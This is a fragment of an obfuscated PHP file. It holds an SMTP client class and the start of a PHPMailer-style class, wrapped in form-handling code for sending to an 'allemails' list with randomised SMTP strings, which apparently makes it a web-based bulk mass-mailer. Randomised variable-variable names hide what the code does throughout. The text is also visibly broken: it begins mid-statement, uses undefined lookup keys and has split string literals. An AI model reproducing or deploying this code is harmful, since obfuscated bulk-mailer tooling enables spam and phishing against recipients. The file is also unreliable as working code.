function_exists("executable_")
// function_exists("ifexists_")
) {
${"GLOBALS"}["ogtzmv"] = "message";
$tutvtnxgndn = "random_smtp_string";
${"GLOBALS"}["uueogij"] = "allemails";
$gyqletfls = "subject";
if (
!${${"GLOBALS"}["ynjosywdrdie"]} &&
!${$gyqletfls} &&
!${${"GLOBALS"}["ogtzmv"]} &&
!${${"GLOBALS"}["eoljndbd"]}
) {
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die();
}
class SMTP
{
var $SMTP_PORT = 25;
var $CRLF = "
";
var $do_debug;
var $do_verp = false;
var $smtp_conn;
var $error;
var $helo_rply;
function SMTP()
{
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
function Connect($host, $port = 0, $tval = 30)
{
$this->error = null;
if ($this->connected()) {
$this->error = [
"error" => "Already connected to a server",
];
return false;
}
$jsdsaofi = "announce";
$usqjaqemy = "errstr";
if (empty(${${"GLOBALS"}["jsrpobbv"]})) {
${${"GLOBALS"}["jsrpobbv"]} = $this->SMTP_PORT;
}
$bnohdmkct = "tval";
${"GLOBALS"}["huegcc"] = "port";
$firioewc = "tval";
$this->smtp_conn = fsockopen(
$host,
${${"GLOBALS"}["huegcc"]},
${${"GLOBALS"}["bjkbru"]},
${$usqjaqemy},
${$firioewc}
);
if (empty($this->smtp_conn)) {
$this->error = [
"error" => "Failed to connect to server",
"errno" => ${${"GLOBALS"}["bjkbru"]},
"errstr" => ${${"GLOBALS"}["tlwmhce"]},
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": $errstr ($errno)" .
$this->CRLF;
}
return false;
}
if (substr(PHP_OS, 0, 3) != "WIN") {
socket_set_timeout($this->smtp_conn, ${$bnohdmkct}, 0);
}
${$jsdsaofi} = $this->get_lines();
if ($this->do_debug >= 2) {
${"GLOBALS"}["qtysuhi"] = "announce";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["qtysuhi"]};
}
return true;
}
function Authenticate($username, $password)
{
fputs($this->smtp_conn, "AUTH LOGIN" . $this->CRLF);
${"GLOBALS"}["efuunchbti"] = "code";
$obvxjeforf = "code";
${"GLOBALS"}["bhxhlry"] = "rply";
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["bhxhlry"]},
0,
3
);
if (${$obvxjeforf} != 334) {
$this->error = [
"error" => "AUTH not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
fputs(
$this->smtp_conn,
base64_encode(${${"GLOBALS"}["asleunvd"]}) . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["efuunchbti"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if (${${"GLOBALS"}["wsdvmh"]} != 334) {
$qxpwcfn = "rply";
$this->error = [
"error" => "Username not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${$qxpwcfn}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
fputs(
$this->smtp_conn,
base64_encode(${${"GLOBALS"}["dclpvrmwl"]}) . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if (${${"GLOBALS"}["wsdvmh"]} != 235) {
$bufqgjcs = "code";
${"GLOBALS"}["gqkojdcq"] = "rply";
$this->error = [
"error" => "Password not accepted from server",
"smtp_code" => ${$bufqgjcs},
"smtp_msg" => substr(${${"GLOBALS"}["gqkojdcq"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Connected()
{
if (!empty($this->smtp_conn)) {
$yrgztf = "sock_status";
${$yrgztf} = socket_get_status($this->smtp_conn);
if (${${"GLOBALS"}["ghaktidv"]}["eof"]) {
if ($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" .
$this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true;
}
return false;
}
function Close()
{
$this->error = null;
$this->helo_rply = null;
if (!empty($this->smtp_conn)) {
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
function Data($msg_data)
{
${"GLOBALS"}["eoasey"] = "field";
$this->error = null;
${"GLOBALS"}["mcbcghmwxfe"] = "rply";
if (!$this->connected()) {
$this->error = [
"error" => "Called Data() without being connected",
];
return false;
}
$jvldecwv = "rply";
${"GLOBALS"}["rhpjkoexlg"] = "rply";
$eomribmcs = "msg_data";
fputs($this->smtp_conn, "DATA" . $this->CRLF);
${${"GLOBALS"}["rhpjkoexlg"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mcbcghmwxfe"]},
0,
3
);
$jtlyzysr = "lines";
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 354) {
${"GLOBALS"}["vqlxuny"] = "rply";
${"GLOBALS"}["ysnsmnbdj"] = "code";
$this->error = [
"error" => "DATA command not accepted from server",
"smtp_code" => ${${"GLOBALS"}["ysnsmnbdj"]},
"smtp_msg" => substr(${${"GLOBALS"}["vqlxuny"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
${"GLOBALS"}["wvtexksg"] = "msg_data";
${${"GLOBALS"}["wsqmypid"]} = str_replace(
"
",
"
",
${${"GLOBALS"}["wsqmypid"]}
);
${$eomribmcs} = str_replace(
"
",
"
",
${${"GLOBALS"}["wvtexksg"]}
);
${${"GLOBALS"}["nfkfyewllck"]} = explode(
"
",
${${"GLOBALS"}["wsqmypid"]}
);
${"GLOBALS"}["ztcvtwo"] = "lines";
${${"GLOBALS"}["eoasey"]} = substr(
${${"GLOBALS"}["ztcvtwo"]}[0],
0,
strpos(${${"GLOBALS"}["nfkfyewllck"]}[0], ":")
);
${${"GLOBALS"}["tnxbdebtx"]} = false;
if (
!empty(${${"GLOBALS"}["hsozmwqsbjku"]}) &&
!strstr(${${"GLOBALS"}["hsozmwqsbjku"]}, " ")
) {
${"GLOBALS"}["oywdii"] = "in_headers";
${${"GLOBALS"}["oywdii"]} = true;
}
${${"GLOBALS"}["hcewomixri"]} = 998;
$swegwuirt = "code";
while (list(, ${${"GLOBALS"}["zeplfdp"]}) = @each(${$jtlyzysr})) {
${"GLOBALS"}["mhysdhjol"] = "lines_out";
${"GLOBALS"}["daerzxcrzt"] = "line_out";
${"GLOBALS"}["uqmhwvz"] = "in_headers";
$onifgvdtt = "line";
${${"GLOBALS"}["mhysdhjol"]} = null;
${"GLOBALS"}["lnnapehierch"] = "max_line_length";
if (
${${"GLOBALS"}["zeplfdp"]} == "" &&
${${"GLOBALS"}["uqmhwvz"]}
) {
${"GLOBALS"}["zqchsw"] = "in_headers";
${${"GLOBALS"}["zqchsw"]} = false;
}
${"GLOBALS"}["mlykxuhnh"] = "lines_out";
while (
strlen(${$onifgvdtt}) > ${${"GLOBALS"}["lnnapehierch"]}
) {
${"GLOBALS"}["rxoewfm"] = "max_line_length";
${"GLOBALS"}["kvxkhqlnkwdy"] = "in_headers";
${"GLOBALS"}["gkigcjzkzeoz"] = "pos";
${"GLOBALS"}["cbntgsfge"] = "pos";
$frflbpmvw = "pos";
${${"GLOBALS"}["cbntgsfge"]} = strrpos(
substr(
${${"GLOBALS"}["zeplfdp"]},
0,
${${"GLOBALS"}["rxoewfm"]}
),
" "
);
${"GLOBALS"}["udkrdxf"] = "line";
if (!${$frflbpmvw}) {
${${"GLOBALS"}["ugrvmhroyf"]} =
${${"GLOBALS"}["hcewomixri"]} - 1;
}
$zrirfd = "pos";
${${"GLOBALS"}["dltykhqbvf"]}[] = substr(
${${"GLOBALS"}["zeplfdp"]},
0,
${${"GLOBALS"}["gkigcjzkzeoz"]}
);
${${"GLOBALS"}["zeplfdp"]} = substr(
${${"GLOBALS"}["udkrdxf"]},
${$zrirfd} + 1
);
if (${${"GLOBALS"}["kvxkhqlnkwdy"]}) {
${${"GLOBALS"}["zeplfdp"]} =
" " . ${${"GLOBALS"}["zeplfdp"]};
}
}
${${"GLOBALS"}["dltykhqbvf"]}[] = ${${"GLOBALS"}["zeplfdp"]};
while (
list(, ${${"GLOBALS"}["daerzxcrzt"]}) = @each(
${${"GLOBALS"}["mlykxuhnh"]}
)
) {
${"GLOBALS"}["ppipdumwr"] = "line_out";
if (strlen(${${"GLOBALS"}["ppipdumwr"]}) > 0) {
if (substr(${${"GLOBALS"}["udioohl"]}, 0, 1) == ".") {
${"GLOBALS"}["iuyokexe"] = "line_out";
${${"GLOBALS"}["udioohl"]} =
"." . ${${"GLOBALS"}["iuyokexe"]};
}
}
${"GLOBALS"}["eopkxdbu"] = "line_out";
fputs(
$this->smtp_conn,
${${"GLOBALS"}["eopkxdbu"]} . $this->CRLF
);
}
}
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
${$jvldecwv} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${$swegwuirt} != 250) {
${"GLOBALS"}["ecwtllyvmjx"] = "rply";
$this->error = [
"error" => "DATA not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["ecwtllyvmjx"]}, 4),
];
if ($this->do_debug >= 1) {
${"GLOBALS"}["cjpbbmaq"] = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["cjpbbmaq"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Expand($name)
{
${"GLOBALS"}["elldzs"] = "rply";
${"GLOBALS"}["qarzlcnqlim"] = "list";
$mnbkizo = "l";
$this->error = null;
${"GLOBALS"}["hwejvsf"] = "code";
if (!$this->connected()) {
$this->error = [
"error" => "Called Expand() without being connected",
];
return false;
}
${"GLOBALS"}["vglqheobmecn"] = "rply";
fputs(
$this->smtp_conn,
"EXPN " . ${${"GLOBALS"}["qucmytgisy"]} . $this->CRLF
);
${${"GLOBALS"}["elldzs"]} = $this->get_lines();
${${"GLOBALS"}["hwejvsf"]} = substr(
${${"GLOBALS"}["vglqheobmecn"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
$ruppwuhlogoi = "rply";
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$this->error = [
"error" => "EXPN not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
${"GLOBALS"}["mjttfbdh"] = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mjttfbdh"]} .
$this->CRLF;
}
return false;
}
${"GLOBALS"}["qqqhskzwwyb"] = "entries";
${${"GLOBALS"}["culrqdgy"]} = explode(
$this->CRLF,
${$ruppwuhlogoi}
);
while (
list(, ${$mnbkizo}) = @each(${${"GLOBALS"}["qqqhskzwwyb"]})
) {
${${"GLOBALS"}["wsmpnoeuxnb"]}[] = substr(
${${"GLOBALS"}["lfqphue"]},
4
);
}
return ${${"GLOBALS"}["qarzlcnqlim"]};
}
function Hello($host = "")
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Hello() without being connected",
];
return false;
}
if (empty($host)) {
$host = "localhost";
}
if (!$this->SendHello("EHLO", $host)) {
if (!$this->SendHello("HELO", $host)) {
return false;
}
}
return true;
}
function SendHello($hello, $host)
{
${"GLOBALS"}["swtnuyred"] = "rply";
fputs(
$this->smtp_conn,
${${"GLOBALS"}["wpgltkmiqcb"]} . " " . $host . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["swtnuyred"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["soxgulf"] = "rply";
echo "SMTP -> FROM SERVER: " .
$this->CRLF .
${${"GLOBALS"}["soxgulf"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
${"GLOBALS"}["wnfmwxk"] = "code";
${"GLOBALS"}["wenqnpwn"] = "hello";
$this->error = [
"error" =>
${${"GLOBALS"}["wenqnpwn"]} .
" not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wnfmwxk"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
$this->helo_rply = ${${"GLOBALS"}["mxwnekhme"]};
return true;
}
function Help($keyword = "")
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Help() without being connected",
];
return false;
}
${"GLOBALS"}["xjuvcx"] = "keyword";
${${"GLOBALS"}["lupmnckwtzo"]} = "";
if (!empty(${${"GLOBALS"}["xjuvcx"]})) {
$fjhaovacbwo = "extra";
${$fjhaovacbwo} = " " . ${${"GLOBALS"}["dyepfblk"]};
}
$emimlky = "code";
$xqtcivgdkmq = "rply";
$johfkojb = "code";
fputs(
$this->smtp_conn,
"HELP" . ${${"GLOBALS"}["lupmnckwtzo"]} . $this->CRLF
);
${"GLOBALS"}["povlfmxyn"] = "code";
${"GLOBALS"}["mfbmyzos"] = "rply";
${$xqtcivgdkmq} = $this->get_lines();
${${"GLOBALS"}["povlfmxyn"]} = substr(
${${"GLOBALS"}["mfbmyzos"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["wfyykxlwsjju"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["wfyykxlwsjju"]};
}
if (${$johfkojb} != 211 && ${$emimlky} != 214) {
$this->error = [
"error" => "HELP not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
$rwwclhvenkg = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$rwwclhvenkg} .
$this->CRLF;
}
return false;
}
return ${${"GLOBALS"}["mxwnekhme"]};
}
function Mail($from)
{
${"GLOBALS"}["nswuksyntbh"] = "useVerp";
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Mail() without being connected",
];
return false;
}
$gpjtie = "from";
${"GLOBALS"}["pjjrlfyuxd"] = "useVerp";
${${"GLOBALS"}["pjjrlfyuxd"]} = $this->do_verp ? "XVERP" : "";
fputs(
$this->smtp_conn,
"MAIL FROM:<" .
${$gpjtie} .
">" .
${${"GLOBALS"}["nswuksyntbh"]} .
$this->CRLF
);
${"GLOBALS"}["fwqqbxfxyal"] = "code";
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["fwqqbxfxyal"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["rwdbwksmx"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["rwdbwksmx"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$this->error = [
"error" => "MAIL not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Noop()
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Noop() without being connected",
];
return false;
}
${"GLOBALS"}["kyquylgvre"] = "rply";
fputs($this->smtp_conn, "NOOP" . $this->CRLF);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["kyquylgvre"]},
0,
3
);
${"GLOBALS"}["gsctbecbjxx"] = "code";
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["gsctbecbjxx"]} != 250) {
$tfrdwnmp = "code";
$this->error = [
"error" => "NOOP not accepted from server",
"smtp_code" => ${$tfrdwnmp},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Quit($close_on_error = true)
{
$this->error = null;
${"GLOBALS"}["uicgblbu"] = "rval";
$rxvwlpzvu = "close_on_error";
if (!$this->connected()) {
$this->error = [
"error" => "Called Quit() without being connected",
];
return false;
}
fputs($this->smtp_conn, "quit" . $this->CRLF);
${"GLOBALS"}["bokxvlhxyr"] = "byemsg";
${${"GLOBALS"}["bokxvlhxyr"]} = $this->get_lines();
if ($this->do_debug >= 2) {
${"GLOBALS"}["bfvnoeehog"] = "byemsg";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["bfvnoeehog"]};
}
$twfueyqdrhp = "byemsg";
${${"GLOBALS"}["uicgblbu"]} = true;
${${"GLOBALS"}["hpkszosw"]} = null;
$xnwbgtb = "rval";
${${"GLOBALS"}["wsdvmh"]} = substr(${$twfueyqdrhp}, 0, 3);
${"GLOBALS"}["sghtkawn"] = "e";
if (${${"GLOBALS"}["wsdvmh"]} != 221) {
$hrqxfeqqsxn = "code";
${"GLOBALS"}["opcxjhrpy"] = "byemsg";
${"GLOBALS"}["pwqhijskjkq"] = "rval";
$jevuwi = "e";
${$jevuwi} = [
"error" => "SMTP server rejected quit command",
"smtp_code" => ${$hrqxfeqqsxn},
"smtp_rply" => substr(${${"GLOBALS"}["opcxjhrpy"]}, 4),
];
${${"GLOBALS"}["pwqhijskjkq"]} = false;
if ($this->do_debug >= 1) {
${"GLOBALS"}["hictjekbyu"] = "byemsg";
echo "SMTP -> ERROR: " .
${${"GLOBALS"}["hpkszosw"]}["error"] .
": " .
${${"GLOBALS"}["hictjekbyu"]} .
$this->CRLF;
}
}
if (empty(${${"GLOBALS"}["sghtkawn"]}) || ${$rxvwlpzvu}) {
$this->Close();
}
return ${$xnwbgtb};
}
function Recipient($to)
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Recipient() without being connected",
];
return false;
}
fputs(
$this->smtp_conn,
"RCPT TO:<" .
${${"GLOBALS"}["xuyddcasqvgb"]} .
">" .
$this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
$veiloqnzrk = "code";
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["lqibfunkn"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["lqibfunkn"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250 && ${$veiloqnzrk} != 251) {
$this->error = [
"error" => "RCPT not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Reset()
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Reset() without being connected",
];
return false;
}
fputs($this->smtp_conn, "RSET" . $this->CRLF);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${"GLOBALS"}["awlhbxlv"] = "rply";
${"GLOBALS"}["jxpzkrefngo"] = "code";
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["awlhbxlv"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["lhldcwbsvbqd"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["lhldcwbsvbqd"]};
}
if (${${"GLOBALS"}["jxpzkrefngo"]} != 250) {
$gxbyicy = "rply";
${"GLOBALS"}["tbjhbwl"] = "code";
$this->error = [
"error" => "RSET failed",
"smtp_code" => ${${"GLOBALS"}["tbjhbwl"]},
"smtp_msg" => substr(${$gxbyicy}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Send($from)
{
$this->error = null;
${"GLOBALS"}["ppqammey"] = "from";
if (!$this->connected()) {
$this->error = [
"error" => "Called Send() without being connected",
];
return false;
}
fputs(
$this->smtp_conn,
"SEND FROM:" . ${${"GLOBALS"}["ppqammey"]} . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${"GLOBALS"}["oeoqdmiyxbp"] = "code";
${"GLOBALS"}["nupkyhgtf"] = "rply";
${"GLOBALS"}["xwcmtaf"] = "code";
${${"GLOBALS"}["xwcmtaf"]} = substr(
${${"GLOBALS"}["nupkyhgtf"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["djmditc"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["djmditc"]};
}
if (${${"GLOBALS"}["oeoqdmiyxbp"]} != 250) {
$fvscsyo = "rply";
$this->error = [
"error" => "SEND not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${$fvscsyo}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function SendAndMail($from)
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called SendAndMail() without being connected",
];
return false;
}
$zcaqeytp = "rply";
$yygrut = "from";
fputs($this->smtp_conn, "SAML FROM:" . ${$yygrut} . $this->CRLF);
${$zcaqeytp} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
${"GLOBALS"}["dilnjpu"] = "rply";
$this->error = [
"error" => "SAML not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["dilnjpu"]}, 4),
];
if ($this->do_debug >= 1) {
$ykqtlme = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$ykqtlme} .
$this->CRLF;
}
return false;
}
return true;
}
function SendOrMail($from)
{
${"GLOBALS"}["inqwvuemxz"] = "code";
$this->error = null;
${"GLOBALS"}["jecdwjmgpm"] = "rply";
if (!$this->connected()) {
$this->error = [
"error" => "Called SendOrMail() without being connected",
];
return false;
}
${"GLOBALS"}["pjnvqfvxna"] = "rply";
fputs(
$this->smtp_conn,
"SOML FROM:" . ${${"GLOBALS"}["ynjosywdrdie"]} . $this->CRLF
);
${${"GLOBALS"}["pjnvqfvxna"]} = $this->get_lines();
${${"GLOBALS"}["inqwvuemxz"]} = substr(
${${"GLOBALS"}["jecdwjmgpm"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["ubcpws"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["ubcpws"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$tfnokko = "code";
$this->error = [
"error" => "SOML not accepted from server",
"smtp_code" => ${$tfnokko},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
$lnirecz = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$lnirecz} .
$this->CRLF;
}
return false;
}
return true;
}
function Turn()
{
$this->error = [
"error" =>
"This method, TURN, of the SMTP " . "is not implemented",
];
if ($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
function Verify($name)
{
$this->error = null;
${"GLOBALS"}["cjxmino"] = "code";
if (!$this->connected()) {
$this->error = [
"error" => "Called Verify() without being connected",
];
return false;
}
$dpowkjag = "rply";
fputs(
$this->smtp_conn,
"VRFY " . ${${"GLOBALS"}["qucmytgisy"]} . $this->CRLF
);
${$dpowkjag} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
$tqljkazpks = "rply";
echo "SMTP -> FROM SERVER:" . $this->CRLF . ${$tqljkazpks};
}
if (
${${"GLOBALS"}["wsdvmh"]} != 250 &&
${${"GLOBALS"}["cjxmino"]} != 251
) {
$this->error = [
"error" => "VRFY failed on name '$name'",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return ${${"GLOBALS"}["mxwnekhme"]};
}
function get_lines()
{
${"GLOBALS"}["gdqioytjd"] = "data";
${${"GLOBALS"}["gdqioytjd"]} = "";
$etuuuwri = "data";
while (
${${"GLOBALS"}["ywijtjvmje"]} = @fgets($this->smtp_conn, 515)
) {
if ($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str"" .
$this->CRLF;
}
${${"GLOBALS"}["asbnolwutik"]} .= ${${"GLOBALS"}["ywijtjvmje"]};
if ($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data"" .
$this->CRLF;
}
if (substr(${${"GLOBALS"}["ywijtjvmje"]}, 3, 1) == " ") {
break;
}
}
return ${$etuuuwri};
}
}
${${"GLOBALS"}["pelxmrdfg"]} = preg_split(
"
",
${${"GLOBALS"}["eoljndbd"]}
);
$grxhdqxsi = "defaultport";
$grriyffmmys = "numemails";
${$grriyffmmys} = count(${${"GLOBALS"}["uueogij"]});
${$tutvtnxgndn} = "";
$utobvvr = "numemails";
class PHPMailer
{
var $Priority = 3;
var $CharSet = "iso-8859-1";
var $ContentType = "text/plain";
var $Encoding = "8bit";
var $ErrorInfo = "";
var $From = "";
var $FromName = "";
var $Sender = "";
var $Subject = "";
var $Body = "";
var $AltBody = "";
var $WordWrap = 0;
var $Mailer = "mail";
var $Sendmail = "/usr/sbin/sendmail";
var $PluginDir = "";
var $Version = "";
var $ConfirmReadingTo = "";
var $Hostname = "localhost";
var $MessageID = "";
var $Host = "localhost";
var $Port = 25;
var $Helo = "";
var $SMTPSecure = "";
var $SMTPAuth = false;
var $Username = "";
var $Password = "";
var $Timeout = 10;
var $SMTPDebug = false;
var $SMTPKeepAlive = [];
var $SingleTo = false;
var $smtp = [];
var $to = [];
var $cc = [];
var $bcc = [];
var $ReplyTo = [];
var $attachment = [];
var $CustomHeader = [];
var $message_type = "";
var $boundary = [];
var $language = [];
var $error_count = 0;
var $LE = "
";
var $sign_key_file = "";
var $sign_key_pass = "";
function IsHTML($bool)
{
${"GLOBALS"}["vjdltho"] = "bool";
if (${${"GLOBALS"}["vjdltho"]} == true) {
$this->ContentType = "text/html";
} else {
$this->ContentType = "text/plain";
}
}
function IsSMTP()
{
$this->Mailer = "smtp";
}
function IsMail()
{
$this->Mailer = "mail";
}
function IsSendmail()
{
$this->Mailer = "sendmail";
}
function IsQmail()
{
$this->Sendmail = "/var/qmail/bin/sendmail";
$this->Mailer = "sendmail";
}
function AddAddress($address, $name = "")
{
$iolpskaxvu = "cur";
${"GLOBALS"}["etjfpfxze"] = "address";
${$iolpskaxvu} = count($this->to);
$this->to[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["etjfpfxze"]}
);
$this->to[${${"GLOBALS"}["bvhqwwzlhry"]}][1] = ${${"GLOBALS"}[
"qucmytgisy"
]};
}
function AddCC($address, $name = "")
{
${"GLOBALS"}["vreypqtek"] = "name";
$qdsexyyjmtn = "address";
${"GLOBALS"}["bfioibnp"] = "cur";
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->cc);
$this->cc[${${"GLOBALS"}["bfioibnp"]}][0] = trim(${$qdsexyyjmtn});
